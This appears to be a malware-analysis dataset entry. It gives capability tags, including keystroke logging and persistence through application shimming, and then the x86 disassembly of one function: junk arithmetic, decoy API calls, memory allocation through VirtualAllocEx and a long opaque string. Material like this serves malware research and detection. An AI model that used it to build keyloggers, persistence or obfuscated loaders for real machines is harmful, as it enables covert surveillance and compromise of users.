Function at 0x1000e530
Capabilities:
Delete directory
Identify system language via api
Log keystrokes via polling
Persist via application shimming
Read .ini file
Read file on windows
Set console window title
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
mov byte [ebp - 0x45], 0
push 0x289
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
lea ecx, [ebp - 0x9c]
push ecx
call fcn.10013b80
add esp, 0xc
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
call fcn.10014210
add esp, 8
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x70], 4
mov dword [ebp - 0x74], 0x3000
mov dword [ebp - 0x78], 0x100
mov dword [ebp - 0x7c], 0
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x74]
push edx
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x7c]
push ecx
lea edx, [ebp - 0x68]
push edx
push 0x22d
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push eax
lea ecx, [ebp - 0xa4]
push ecx
call fcn.10013b80
add esp, 0xc
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
call fcn.100142f0
add esp, 0x1c
mov dword [0x100c5218], eax
mov ecx, dword [0x1006cae4]
xor edx, edx
mov dword [ebp - 0x88], ecx
mov dword [ebp - 0x84], edx
cmp dword [ebp - 0x88], 0x8fcc0215
jne 0x1000e757
cmp dword [ebp - 0x84], 0
jne 0x1000e757
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryThreadProfiling]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLanguageGroupsW]
push 0
call dword [sym.imp.KERNEL32.dll_CancelThreadpoolIo]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FlsSetValue]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommMask]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push 0
call dword [sym.imp.USER32.dll_GetSysColor]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryThreadCycleTime]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessDEPPolicy]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SleepConditionVariableCS]
push 0
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
call dword [sym.imp.USER32.dll_GetKeyState]
push 0
call dword [sym.imp.USER32.dll_FlashWindowEx]
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x80], eax
push 0
mov ecx, dword [ebp - 0x80]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
push 0
call dword [sym.imp.USER32.dll_GetListBoxInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeClientComputerNameW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeExW]
push 0
call dword [sym.imp.KERNEL32.dll_GetDynamicTimeZoneInformation]
push 0
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadFileEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolTimer]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push 4
push 0x3000
push 0x100
push 0
mov edx, dword [ebp - 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x100c5084], eax
mov byte [0x100c30e5], 1
mov eax, 4
imul ecx, eax, 0xa4
mov dword [ecx + 0x100c30f8], 0xee0
push 0x127
push 0x100083c0
lea edx, [ebp - 0xac]
push edx
call fcn.10013b80
add esp, 0xc
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
call fcn.10013c80
add esp, 8
mov dword [ebp - 0x20], 0x1b82
mov dword [ebp - 0xc], 0x41d
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0xdb4
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0x11ea
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 8]
add edx, 0xcf0
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
add eax, 0x104a
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x190b
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x44], 0
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
add eax, 0x1616
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x20]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x10be
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x20]
add eax, 0x1e3c
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x14]
and ecx, 0x80000001
jns 0x1000e898
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
je 0x1000e8a7
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
jmp 0x1000e888
mov eax, dword [ebp - 4]
add eax, 0x1bf2
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 0x1831
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x501
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x14]
sub eax, 0x459
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x20]
sub ecx, 0x8f7
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x14]
sub eax, 0x5e7
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0xa5b
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 8]
and edx, 0x80000003
jns 0x1000e911
dec edx
or edx, 0xfffffffc
inc edx
test edx, edx
je 0x1000e926
cmp dword [ebp - 8], 0
jle 0x1000e926
mov eax, dword [ebp - 8]
add eax, 0x17fa
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 4]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0xc60
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 8]
add edx, 0x165
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 4]
sub ecx, 0xb36
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x44]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
add ecx, 0x1d4f
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x14]
sub edx, 0x724
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 0x958
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x44]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x2296
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0x1f4f
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000e9fa
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
jmp 0x1000e9e0
mov eax, dword [ebp - 0xc]
sub eax, 0xe7a
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xc]
add edx, 0x1c18
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000ea3d
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
jmp 0x1000ea23
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x44]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x161e
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
add eax, 0x5a3
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0xe61
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x20]
sub edx, 0x24cc
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 4]
add eax, 0x17b8
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0x213a
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 4]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000eaca
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x1000eab0
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
and ecx, 0x80000001
jns 0x1000eae3
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
je 0x1000eaf2
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
jmp 0x1000ead3
mov eax, dword [ebp - 0xc]
sub eax, 0x26a3
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x1ce
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 8]
add edx, 0x1897
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x44]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x20]
mov dword [ebp - 4], edx
mov dword [ebp - 0x50], 0
jmp 0x1000eb42
mov eax, dword [ebp - 0x50]
add eax, 1
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x62
jge 0x1000eb53
mov ecx, dword [ebp - 4]
sub ecx, 2
mov dword [ebp - 4], ecx
jmp 0x1000eb39
mov edx, dword [ebp - 8]
sub edx, 0x26fd
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x54], 0
jmp 0x1000eb7a
mov ecx, dword [ebp - 0x54]
add ecx, 1
mov dword [ebp - 0x54], ecx
cmp dword [ebp - 0x54], 0x59
jge 0x1000eb8b
mov edx, dword [ebp - 0x14]
sub edx, 1
mov dword [ebp - 0x14], edx
jmp 0x1000eb71
mov eax, dword [ebp - 8]
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 8]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x14]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 0x243d
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x14]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 4]
add ecx, 0x2406
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
add eax, 0xe2e
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
add ecx, 0x21e0
mov dword [ebp - 8], ecx
mov dword [ebp - 0x58], 0
jmp 0x1000ec0b
mov edx, dword [ebp - 0x58]
add edx, 1
mov dword [ebp - 0x58], edx
cmp dword [ebp - 0x58], 0x12
jge 0x1000ec1c
mov eax, dword [ebp - 4]
sub eax, 3
mov dword [ebp - 4], eax
jmp 0x1000ec02
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 4]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 8]
add edx, 0x11c8
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x44]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
sub ecx, 0xdd9
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x20]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov dword [ebp - 0x5c], 0
jmp 0x1000ec6a
mov ecx, dword [ebp - 0x5c]
add ecx, 1
mov dword [ebp - 0x5c], ecx
cmp dword [ebp - 0x5c], 0x27
jge 0x1000ec7b
mov edx, dword [ebp - 4]
add edx, 8
mov dword [ebp - 4], edx
jmp 0x1000ec61
mov eax, dword [ebp - 4]
sub eax, 0x1852
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x44]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0xb6a
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000ecbf
mov edx, dword [ebp - 4]
add edx, 0x9f8
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, 0x12c0
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x20]
add ecx, 0x12c4
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 4]
add edx, 0x10b
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 4]
add eax, 0x1f73
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x44]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x10]
sub eax, 0x179b
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x20]
add edx, 0x2316
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x44]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000ed5b
cmp dword [ebp - 0x44], 0
jle 0x1000ed5b
mov edx, dword [ebp - 0x44]
sub edx, 0x1c5c
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0xc]
sub eax, 0xe0d
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x44]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x14]
add edx, 0x169c
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x44]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
add ecx, 0x795
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x14]
sub edx, 0x1fa
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov dword [ebp - 0x60], 0
jmp 0x1000edd2
mov ecx, dword [ebp - 0x60]
add ecx, 1
mov dword [ebp - 0x60], ecx
cmp dword [ebp - 0x60], 0x57
jge 0x1000ede3
mov edx, dword [ebp - 0x44]
sub edx, 2
mov dword [ebp - 0x44], edx
jmp 0x1000edc9
mov eax, dword [ebp - 0x14]
sub eax, 0x1580
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x2381
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x14]
sub eax, 0x1928
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x20]
add ecx, 0xb83
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x14]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 4]
and eax, 0x80000001
jns 0x1000ee4d
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x1000ee5c
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
jmp 0x1000ee3e
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x44]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, 0x2299
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x14]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x20]
add edx, 0x1e2c
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x10]
add eax, 0x253a
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
sub ecx, 0x1178
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0x270b
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 8]
add ecx, 0x30f
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x10]
add edx, 0x16bc
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0xc]
add eax, 0xe19
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x20]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x14]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x44]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000ef07
cmp dword [ebp - 0x44], 0
jle 0x1000ef07
mov edx, dword [ebp - 0x44]
add edx, 0x15bb
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 8]
sub eax, 0x820
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x1b5a
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 8]
add edx, 0x1627
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x14]
add eax, 0x164c
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x20]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000ef56
cmp dword [ebp - 0x20], 0
jle 0x1000ef56
mov edx, dword [ebp - 0x20]
sub edx, 0xc0c
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 4]
sub eax, 0x29b
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
sub ecx, 0x147e
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
add edx, 0x1616
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000ef93
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
jmp 0x1000ef79
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x14]
add eax, 0xf85
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
add ecx, 0xc8a
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
and ecx, 0x80000003
jns 0x1000efe7
dec ecx
or ecx, 0xfffffffc
inc ecx
test ecx, ecx
je 0x1000efff
cmp dword [ebp - 0xc], 0
jle 0x1000efff
mov edx, dword [ebp - 0xc]
sub edx, 0xd5d
mov dword [ebp - 0xc], edx
jmp 0x1000f00a
mov eax, dword [ebp - 0xc]
add eax, 0xd5d
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x44]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
add eax, 0xb23
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x14cc
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0xc54
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
sub eax, 0x1f1d
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 8]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x14]
add eax, 0x10da
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 8]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 4]
and eax, 0x80000001
jns 0x1000f088
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x1000f097
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
jmp 0x1000f079
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x20]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x14]
mov dword [ebp - 8], edx
mov eax, 4
imul ecx, eax, 0x26
mov edx, dword [0x100c5218]
mov dword [edx + ecx], str.akkNqcoMpk7RpLRp38zMWT8zjyVwDiWBU1lzJ8SfB04GJKTqO1VdMSNEStxhcijIaGj_viNlZ1YKuVqvLOTsM_Uy4CprBRgGL1Q9bHlqSjluwHV05rJ5bSUKLh3ksyEPShgOYHRJl_gzKlPnBlcD7p3Cq272klAJpNa4tFQ1muU7aAjzEY0igpg2YqYjUwNH6zilqj212K3AOxU4rRK6plknZJN5NY4aFH3ivX5dmbf30Nvn4dOVDIdvbV8Qqzk2YPzxoO_YCLV3cJhoFCSL8beeK4xBuUqEXGoVgx_Nuuy3ROH0CYY6ObiaN7Kspc0gOnUCp5fwTeMLWY6V6GHOHmpkIjsDMioxWb6cP0g5KZwUnbaMyUrgu03UUbzSV8KZy1iiaxZiR2WCT6Jpog_I4Ws3csgtXKfeXLIy743V7AXmpCxulKwKIlVwZQOffCynhai1H22gM6sdjaoxkKg9JiT7Zvot9YU1MhND5Q5Gk6FdYqVYEx7uPWkkYR6V7gbuOKPxjOW13O1n0Kz7c8Byt6DXpPq1ZDUMMyx9U_mIp4BqSo3CBtSSYuqAXzvx0_hacgcOAXZP0p467Onyn_EuwonN7NlhzfFXzxoKxGv08aMx_S4xIQ7Fx9Awf08lYKKZbQrtuxmywBW2XuZkrji6JmwA1EPZOSoO74gL76GDghpdr3HvtNXUZcXaLnz8MlpgOXwQ0t41En2Ab28TlkpufwYSb3iobnVL0MeY1AD2TvQeIZAfeYqESou0XTqmWeNE4iBrkeq4f1WGIyHFzIQkKPbEZph7rtQBTESYUaYlofVAT2jXTszyJ_5qkW9jZrglsvSMbWansRTegAZfhpvTo2893JRmPPxHA1EdowzB11790GkgONzBg9kdhZjV7_RNAkrc9cQMOp8Ej0M7JbKJADkTZKaEQdKZOcNJqPv7VfQUdFIlkKFGeait4YrZh6lsdYSRF1dgyTDinQbz0WbP5KQd5KnCMlSH6ehT7e1Ena0omVK0qQQ91FM6zd6UsZrczNN87ZflVuvIwB51Khag8zDIzrj54koJuXak7fPWrQmqHdCA6cGo5erFoe0EdSvaqbleX6wYnIVAfwKL9fGP5U4CwpO__S0ZRGcviF07WiDb6A9NDk2ZOqun_4TvhchHv4LLiXYOLwtXkRZGDme1gQbJmhSN30PLfYLOs7yGp2A79deF5PWF1t_1t2joqYawUR8y4OhIDxC6imf0eJtIQXlrEensYZpDKxbHfq6ubKql8vDifuE65Nf4HyIX4Mruel0DEdynepkXVN8dFANa1E3lDqXpxAsOPNDLJiCBbUeTVUDqWnoj9pKseqyNxGV092LEVa4q3Hs8o336r_4mgt5JuljavVKpY7uIP0sB69RZMldzDKlJmDIeU8owYxZcWqaLtZ5dVdVuoknAt27FwLhjyrs4piZ79B1_AFlJyLRbb_UqHxzhIk0LYAcPDEqBvZWRfX5Zxm8KobceKW8WPa9wJQ7rWT93UUAdH_u0E8mmbic0bLj2aLgSR3WP4ZbSqOHM7bENo1njYKTF8L3YDwSXOgD_ejD9D3PRzA34xyeCtfAEIrNJ9mQ914pZgqJoyf8RquEzX4cfSjF3Ys1T4lpy4YblF3rtsYMWJ6SxTQR3gzcceJKK_ETRO9iwnHm2zXhZu_nyxCF8w0Lk6ys3Jt8g5Dh7dzvkV_N7kUUdSPe8AHgtDjQGCsouqVKZzEp5nru9sRbERDA5MY60WRdiuotMoK_vmSyoGP_6sYq4cfl2l18z_Qas_PWwxecJr8_DU_oU9D5TbRltyVBOXm0Xt953SUWKEnml8qAaK1XlSEUO706PkBSmYS7oZgvphzsZNzYxOVGzgrOYK0HxscGYoHh8tWwauigSW_zNwcFz9NafvDN5RR4gtjcPOheNTKqYHUOVY37BWLRTPReaTJUDEUmmsHZBdxOBt2_3QmUxNTWzL66RCA5Gn0MifwkICzRuAxbMczWCnt2TVxotshELRsKUsNI9XXwhUoh29AnnC5PtLyF0qhm31NjPdTFlRkEz1U5E3I7A84HKl1nq_zZqFud9Ofvn69Cj1QRlLW3UMuLA_nyhlcN8gUgtZyjWZ_rcr4yYpXIJmcQgJTI1zqDEykVR5ZlqBSV8ZogOCxpMG5VSB0oZNZsyx6mvslVcDah5rYFpBN8tNGN4xt1GN2BM78kCICTSMr8k7GyQUpyI0cNzjORysbPhrgkMXFEN